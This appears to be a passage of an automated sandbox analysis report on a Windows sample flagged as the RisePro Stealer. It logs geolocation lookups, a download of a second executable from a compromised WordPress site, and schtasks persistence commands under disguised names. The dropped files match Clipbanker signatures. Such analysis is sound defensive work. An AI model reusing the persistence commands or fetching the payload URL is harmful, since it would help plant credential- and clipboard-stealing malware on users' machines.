0	192.168.2.5	49707	34.117.186.192	443	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 14:29:00 UTC	239	OUT	GET /widget/demo/185.152.66.230 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-25 14:29:00 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 25 Apr 2024 14:29:00 GMT content-type: application/json; charset=utf-8 Content-Length: 1052 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-25 14:29:00 UTC	741	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 75 6e 6e 2d 31 38 35 2d 31 35 32 2d 36 36 2d 32 33 30 2e 64 61 74 61 70 61 63 6b 65 74 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 36 30 30 36 38 20 44 61 74 61 63 61 6d 70 20 4c 69 Data Ascii: { "input": "185.152.66.230", "data": { "ip": "185.152.66.230", "hostname": "unn-185-152-66-230.datapacket.com", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS60068 Datacamp Li
2024-04-25 14:29:00 UTC	311	IN	Data Raw: 3a 20 22 43 79 62 65 72 47 68 6f 73 74 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 61 62 75 73 65 22 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 2c 20 5a 64 65 6e 65 6b 20 43 65 6e 64 72 61 2c 20 32 30 37 20 52 65 67 65 6e 74 20 53 74 72 65 65 74 2c 20 57 31 42 20 33 48 48 2c 20 4c 6f 6e 64 6f 6e 2c 20 55 4e 49 54 45 44 20 4b 49 4e 47 44 4f 4d 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 64 61 74 61 63 61 6d 70 2e 63 6f 2e 75 6b 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 43 6f 6e 74 61 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 31 38 35 Data Ascii: : "CyberGhost" }, "abuse": { "address": "Datacamp Limited, Zdenek Cendra, 207 Regent Street, W1B 3HH, London, UNITED KINGDOM", "country": "US", "email": "abuse@datacamp.co.uk", "name": "Abuse Contact", "network": "185

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	104.26.5.15	443	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 14:29:01 UTC	263	OUT	GET /demo/home.php?s=185.152.66.230 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-25 14:29:01 UTC	660	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 14:29:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: 6CA2EE4F:9326_93878F2E:0050_662A68AD_9D51079:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3B39sZfhZLahXEBLwVHqI%2BmjieC9pt5Z4CjUrNNkpEqIYS%2FBPINvO6GNgW3d%2Bx5P3aFNcYPV4IvElGv%2FfdTCwN9u0cTN4xcKDcNsm%2BFV8n81vtuWA%2FmOIGQTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879f05dcbd3e0d1a-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 14:29:01 UTC	675	IN	Data Raw: 32 39 63 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 Data Ascii: 29c{"status":"ok","demoInfo":{"ipAddress":"185.152.66.230","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages
2024-04-25 14:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49717	185.199.220.53	443	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 14:29:18 UTC	229	OUT	GET /wp-content/upgrade/k.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: easy2buy.ae Cache-Control: no-cache
2024-04-25 14:29:18 UTC	423	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-msdownload last-modified: Mon, 15 Apr 2024 05:50:46 GMT accept-ranges: bytes content-length: 4563640 date: Thu, 25 Apr 2024 14:29:18 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-25 14:29:18 UTC	945	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-04-25 14:29:18 UTC	14994	IN	Data Raw: c2 6e e6 46 88 26 2d 6f 95 cc 10 0e 2f 38 53 c3 45 0d c0 7b 31 1d 45 a1 9c 2c 9d f5 bf 13 3c 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e c7 ef b3 24 58 87 6b d3 a0 cc 6a 82 2b 8b a9 25 8b c0 ff 92 f1 c1 a7 ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c df b5 3b f0 c4 bd 2e 5f aa 0f 3e 4b 66 42 90 13 0e ff 10 93 f8 71 78 59 f8 0b cd ff 95 28 46 0f a9 fc 7c de fb 9a 30 2e 56 c0 8f 85 f3 83 81 c0 65 c4 25 53 f8 f5 91 36 31 05 a5 b0 ee 6f c1 70 4d 47 0c d1 91 11 aa ad 60 1d ba ce b1 27 18 5c 59 86 e9 66 52 58 be e9 76 Data Ascii: nF&-o/8SE{1E,<c\|bzFz\|W"p1RxkF@bLgp_--K2\|koN$Xkj+%R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXv
2024-04-25 14:29:18 UTC	16384	IN	Data Raw: 77 39 ae ad d2 1b 80 6b 5b 73 d3 9f b0 1c 0d 72 74 31 74 6e 38 41 7c bd d5 e7 31 47 91 ac 8b 4e c7 de e1 85 32 9d 86 5b 9c 8e 75 4d bd c7 6a ba 5c c7 10 a7 c3 ec c2 8d e7 cc 61 5d a6 46 c1 1b 37 cc 81 7e d3 a1 a3 08 75 33 84 e5 22 2b d2 f5 9e 88 11 90 01 cb 58 1c 53 c8 be 57 fc 68 a0 a2 b8 c4 d4 8a 9e 93 6d 02 71 ae bc 66 81 93 64 12 34 c2 79 7f c2 cb 7f 1b 6e 4f 9f 24 d9 a0 f9 3e 96 95 88 9f 07 21 a7 66 73 fe 66 e8 67 78 e2 61 17 47 4f 25 05 40 2b 51 3f e5 da 86 51 d5 a7 c9 17 b7 e1 50 21 08 78 75 9d 83 7f c6 e4 fb 86 97 a3 43 8a 64 e7 fc df 63 c9 4d 0d 35 2e 7f 65 e0 df 61 9f 71 c0 62 42 6d 9b e1 6b 5f d4 3f 67 cc 4c fa 7b aa 78 db 83 6b 6f 0a c4 67 92 4c fe 27 8b 15 35 3e e9 24 fb 64 c7 50 e9 a6 bd c9 82 68 69 ab c6 a1 19 11 e2 42 f8 7b 32 45 c9 98 2d Data Ascii: w9k[srt1tn8A\|1GN2[uMj\a]F7~u3"+XSWhmqfd4ynO$>!fsfgxaGO%@+Q?QP!xuCdcM5.eaqbBmk_?gL{xkogL'5>$dPhiB{2E-
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: b1 52 fa e1 c5 b3 4a 7a 57 f0 ad af a1 d3 a2 46 6d 0a cd f9 23 3b 01 a4 61 eb 2e a6 8b b6 b8 0d 9f de 31 42 71 07 9e d7 72 db db aa 49 4b 76 83 d0 16 0b 09 a3 0d e7 51 6c d5 b6 c2 0f 33 a9 11 1a 99 08 19 9a 9a 2b e4 e3 b2 18 92 42 63 bb eb 4a de f8 27 7c 71 c7 86 92 5b 23 2d aa fc 19 b6 d1 42 94 54 ae 6a 71 e1 25 7a f3 59 eb 14 0e 93 38 68 44 7d 73 96 81 0e ab 42 54 6b 4a cf 3f a0 c7 fa bb f1 83 d0 bb df 22 4b 7b 0d 1b 35 3c ea c6 63 36 8f 1f 3a cf 2f ee 8f 99 32 8a 51 36 70 69 da 2d f2 df 13 b9 cb ce e2 0a 3e 8a c9 11 30 1b 93 13 54 83 03 ee 2f ae c0 51 bd 32 5f 69 34 23 5a e5 29 c0 45 61 f5 fd e1 0d 5b 51 6f e4 ca 30 9d ee c0 f9 39 21 7a a4 0a 8b 58 0c 10 99 5f 74 6d a4 61 aa de d8 a9 3b 98 b2 9e d6 42 7a 9f aa 5e 2a 50 51 39 41 02 fa 50 a6 dd fb d5 a5 Data Ascii: RJzWFm#;a.1BqrIKvQl3+BcJ'\|q[#-BTjq%zY8hD}sBTkJ?"K{5<c6:/2Q6pi->0T/Q2_i4#Z)Ea[Qo09!zX_tma;Bz^*PQ9AP
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: f4 76 bf f2 15 3b 04 4c 6a 4e 2a 36 33 ab 50 e1 e0 0e 07 bc 26 40 75 18 a8 5b 5a 78 cf 6d 62 9b d8 08 79 8d 75 e8 b9 fd 2a 8c 6c e5 c6 56 e1 b0 cd 57 0d c3 63 93 f4 e9 f1 0a f8 1c 22 5a 85 85 9f f7 ee f7 c8 55 c3 76 9e 3e 9c 2c f1 c1 ca cc 8d 3a 02 ab fd 4b e9 47 9e ba 86 fe 8f 58 27 52 eb 56 a6 b3 bc 7d 90 fe 15 ac fa fd 55 ee a8 ad c2 2d 6f ef 0e 18 49 d2 18 ab 05 44 41 8c 2e 22 00 e5 24 72 8d c7 26 52 cc 3e 2a e1 51 71 a2 32 63 b1 42 8b d9 76 ea ae 0e 3f 10 e3 24 d6 c4 94 00 0c 4e 1f 1c ef 58 5c 95 bf ad c0 fe d6 14 b5 7c 80 76 f7 7d c5 24 20 83 df 29 62 87 79 49 96 8a 03 00 b2 2c 68 59 68 d8 44 4a 3d 74 40 a8 bd 0f 18 a0 30 1b 45 20 c1 da 31 28 d9 b1 f6 d7 a4 c8 d1 d5 0e aa 4f f7 52 80 3e 12 d8 2e 6d 3f c2 bd 0d 14 e9 e3 34 0f 59 40 db a3 af 2a 07 be Data Ascii: v;LjN63P&@u[ZxmbyulVWc"ZUv>,:KGX'RV}U-oIDA."$r&R>Qq2cBv?$NX\\|v}$ )byI,hYhDJ=t@0E 1(OR>.m?4Y@
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: d9 72 8d 9b 8b 83 8e 76 63 27 94 8d 80 e4 5e 9d 83 a0 0e 4b c8 1b 47 e6 a2 9f c3 df 3e 6e 86 dc 4d 5e 8e 94 db f2 4f 19 fc b9 d0 b8 a7 a6 e0 e2 17 12 89 63 e4 83 c4 2c fe 3b 45 66 98 ae f0 60 43 a6 50 16 17 8f 31 b9 a9 74 bf 3c 03 e2 0c 68 fe 6e 4f 20 45 5b 22 28 da 21 7d 34 33 0d 09 0f d3 0a 29 8b 41 5b 50 44 10 d2 ad d9 c9 a2 79 f9 2f a1 c6 6d a4 62 58 6a 76 35 eb 3d 66 30 24 c7 7b e5 95 44 db 79 19 98 e4 87 74 ac 8c 48 a0 b4 63 9c 86 77 66 1f 00 e1 37 31 71 74 4e b0 86 3d dc d4 05 65 f3 b6 be a2 e5 7b 72 3c 3c 77 b3 35 8e 52 33 e0 f5 bd 06 40 46 03 15 e3 d7 6e da 69 30 f4 05 a9 1f e0 4c e5 c9 f2 2f 19 ec 85 fc 8a 82 fd 47 00 7c ac 06 66 bc 8c 50 5d a9 7d 42 17 9c ff 22 e6 18 96 96 89 72 b0 6f 2d 6a a0 5b 07 8f 6d cb 0b 0b 52 32 15 86 48 36 a3 de 90 a5 Data Ascii: rvc'^KG>nM^Oc,;Ef`CP1t<hnO E["(!}43)A[PDy/mbXjv5=f0${DytHcwf71qtN=e{r<<w5R3@Fni0L/G\|fP]}B"ro-j[mR2H6
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: 67 7a c1 f3 c5 d1 6f b1 68 cb 6c a0 87 21 d4 6c a6 b2 4d cf d2 35 ad 6a ec 37 a6 e2 4c 90 2d f4 8a 70 81 b0 34 8d 0f f7 33 2f 4b 57 00 c2 e0 15 87 d6 0f 01 ac 87 a7 ea 4e 29 03 fb 5f 0a 13 a7 83 1e 91 93 ea 91 d1 a5 80 75 f9 38 c3 b6 c4 46 1d 1d ad bb c0 57 18 e1 c3 1a 53 0f 48 05 9a be 67 1f c5 89 22 da 26 95 8e fc 14 b4 c0 a9 a6 76 86 6d 74 53 fc e9 9f 78 83 7c d7 2f 41 0d 03 2e 60 a6 e6 ab ff 8c 97 d6 73 59 72 e3 58 32 26 e6 a5 47 bd c8 80 f8 fa 50 ca 7f 40 0b d7 da 50 58 51 3a 81 e3 1f 49 d1 54 8b c0 06 f4 48 10 cc e6 9a a7 3e 13 b5 77 7a 3e 9a 62 58 93 4b 83 a3 62 49 a6 65 53 ab 39 ef 93 15 32 24 2d 0b 8a d6 24 d5 11 1e 10 26 a5 14 c5 b6 0a b2 11 64 bf 45 ef f5 88 de 3b 04 c7 34 68 14 c2 db 19 0b da df 0e 6d 80 35 51 86 1b ea 4f 92 bd 6e ea 3c 20 5a Data Ascii: gzohl!lM5j7L-p43/KWN)_u8FWSHg"&vmtSx\|/A.`sYrX2&GP@PXQ:ITH>wz>bXKbIeS92$-$&dE;4hm5QOn< Z
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: 4a a8 85 84 84 75 a3 2e fd 4f 35 1a e5 cc 1d b7 0f 80 a9 83 82 04 3b cc 01 81 51 6f 1b d5 10 dd ce d6 1a 38 4f 62 51 c0 1d 59 0d b7 45 c5 34 e9 55 fe 4f 8a cc ff b3 86 0e 53 18 d1 c6 35 4f 48 e9 9d 39 c8 42 72 3a 4a 0b 79 76 d7 b3 08 38 47 b2 19 a9 a7 79 10 81 09 22 7d c0 64 f0 cd 75 b2 0c 57 16 3c 67 95 3e 2e 63 85 57 cd 5f 6c 42 23 fc b8 e7 64 bc eb 88 46 e5 cc 62 42 90 db 4b c5 51 81 31 0c 9d f0 0c 45 d8 d9 9f 1b a1 5f da f8 4f a8 fa 87 60 8e 9b 3b 9e 15 98 a2 ed 61 91 74 ff bf bf c9 c6 3c 6c 01 ce 5c 32 30 7d d5 79 3b 0d 94 2b 05 5b 77 7a 02 9b 28 49 5e 9a ae 58 f9 54 9c 46 de 01 25 46 94 c3 87 64 4f b4 98 1a 27 fd 84 e4 02 6d 12 25 fb 33 2d b1 da 5a 75 12 4c f5 ed 66 a5 9b 4d f7 78 4d f9 0b b4 ca 06 a2 68 10 f2 1c 8e 41 9a 17 8f 84 82 d0 73 19 74 2c Data Ascii: Ju.O5;Qo8ObQYE4UOS5OH9Br:Jyv8Gy"}duW<g>.cW_lB#dFbBKQ1E_O`;at<l\20}y;+[wz(I^XTF%FdO'm%3-ZuLfMxMhAst,
2024-04-25 14:29:19 UTC	16384	IN	Data Raw: 9a 10 21 c9 57 52 90 54 d1 7d 1a f4 af da 8a 82 8b 6e d6 fb a2 73 dd 8c f9 c7 c5 31 94 31 68 92 60 04 ed 19 ac 57 ef 0e 5d 8e b2 e7 18 69 c5 a7 af 93 c8 67 d3 4f fb 42 68 15 fb 41 e6 70 e4 38 88 47 3f 1f 08 a8 20 ca b5 1d 38 f0 6a 6c 2f 32 77 5f 61 8f 2f fa 55 90 a0 f9 42 7c 6c 9e 21 2b cb ef d4 5c 58 03 8d a9 38 b7 77 65 31 73 70 1f f0 af 8b 28 db 6e 7e ec c0 a5 3e 57 87 49 1a 8e 82 62 cf e7 38 53 b0 a6 bd 33 d4 37 cd 99 4a f6 62 06 92 f5 e8 1d b3 ed fd d5 3a 8c 40 6c 95 88 ac e5 5d 43 86 d6 d1 2a 2f c0 0a 5f 0a 0c 92 2a 6f 63 90 1e 29 dd 30 49 aa 0e c1 6a 36 98 bd db e3 5e 9a a4 47 1d 1d 55 c3 a5 df 0a 26 66 a8 50 86 1b c4 67 0c 8d 71 f8 d4 0f b3 55 00 6f 03 d9 ff 47 2b 6e 2c b0 c2 a1 6a fc 3a 80 a8 22 9d 22 08 dc de 2b c4 76 85 0a a8 65 6d 2d ae 41 f5 Data Ascii: !WRT}ns11h`W]igOBhAp8G? 8jl/2w_a/UB\|l!+\X8we1sp(n~>WIb8S37Jb:@l]C/_oc)0Ij6^GU&fPgqUoG+n,j:""+vem-A
2024-04-25 14:29:19 UTC	445	IN	Data Raw: 3c 89 c6 e2 0a 46 43 f3 b5 b9 7d 66 c7 6a e4 5d ac a3 43 52 49 34 95 6f 6f 92 52 d3 27 ba 11 a6 d4 38 97 4f 89 1b 05 e0 01 cf 69 2c 44 4f 30 ee 72 56 a0 ee 73 20 08 4b 38 a8 8c 14 39 05 4b 2b 78 68 f4 a1 9f 7c 72 93 c7 81 b8 7b 3a b5 32 9e 6b bb 45 72 f2 30 dd 8a 67 67 c4 51 1c 1f 1d 2e 6e b1 35 f8 34 b5 ac 17 0d 0b eb 58 8f fc 93 e2 35 99 2c 22 c7 79 8d 4d 66 31 47 e2 a6 ec 37 49 f0 4a fa 05 fe b4 0b 73 34 3e a1 87 c8 37 20 10 5c af 76 9f 96 38 5b 76 9d 23 93 15 cd 08 4a 03 41 96 fd 8d 61 10 d0 15 5b 0b 44 79 5a a5 4c 84 84 29 6b 43 0e e1 2e 14 8e d1 19 e3 ef 2c 52 d4 f0 70 c9 3d 90 c6 c9 ca bf a4 df fe bf 95 5c b6 dc de 6d d0 38 71 02 a5 78 c2 85 66 bc 8f 90 0a dc 09 9f 1e 60 0e fb c7 e2 46 95 5c 49 89 ed 59 ea d7 81 71 8b ee 3f dc 84 de 9a 35 3e 3d 18 Data Ascii: <FC}fj]CRI4ooR'8Oi,DO0rVs K89K+xh\|r{:2kEr0ggQ.n54X5,"yMf1G7IJs4>7 \v8[v#JAa[DyZL)kC.,Rp=\m8qxf`F\IYq?5>=

Target ID:	0
Start time:	16:28:56
Start date:	25/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8c0000
File size:	3'679'520 bytes
MD5 hash:	565AA174E2E5CBAE5811F5ED0F1D5E70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000003.2113636991.00000000062C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:29:14
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:29:14
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:29:14
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:29:14
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:29:15
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:29:16
Start date:	25/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:29:16
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:29:16
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:29:16
Start date:	25/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:29:18
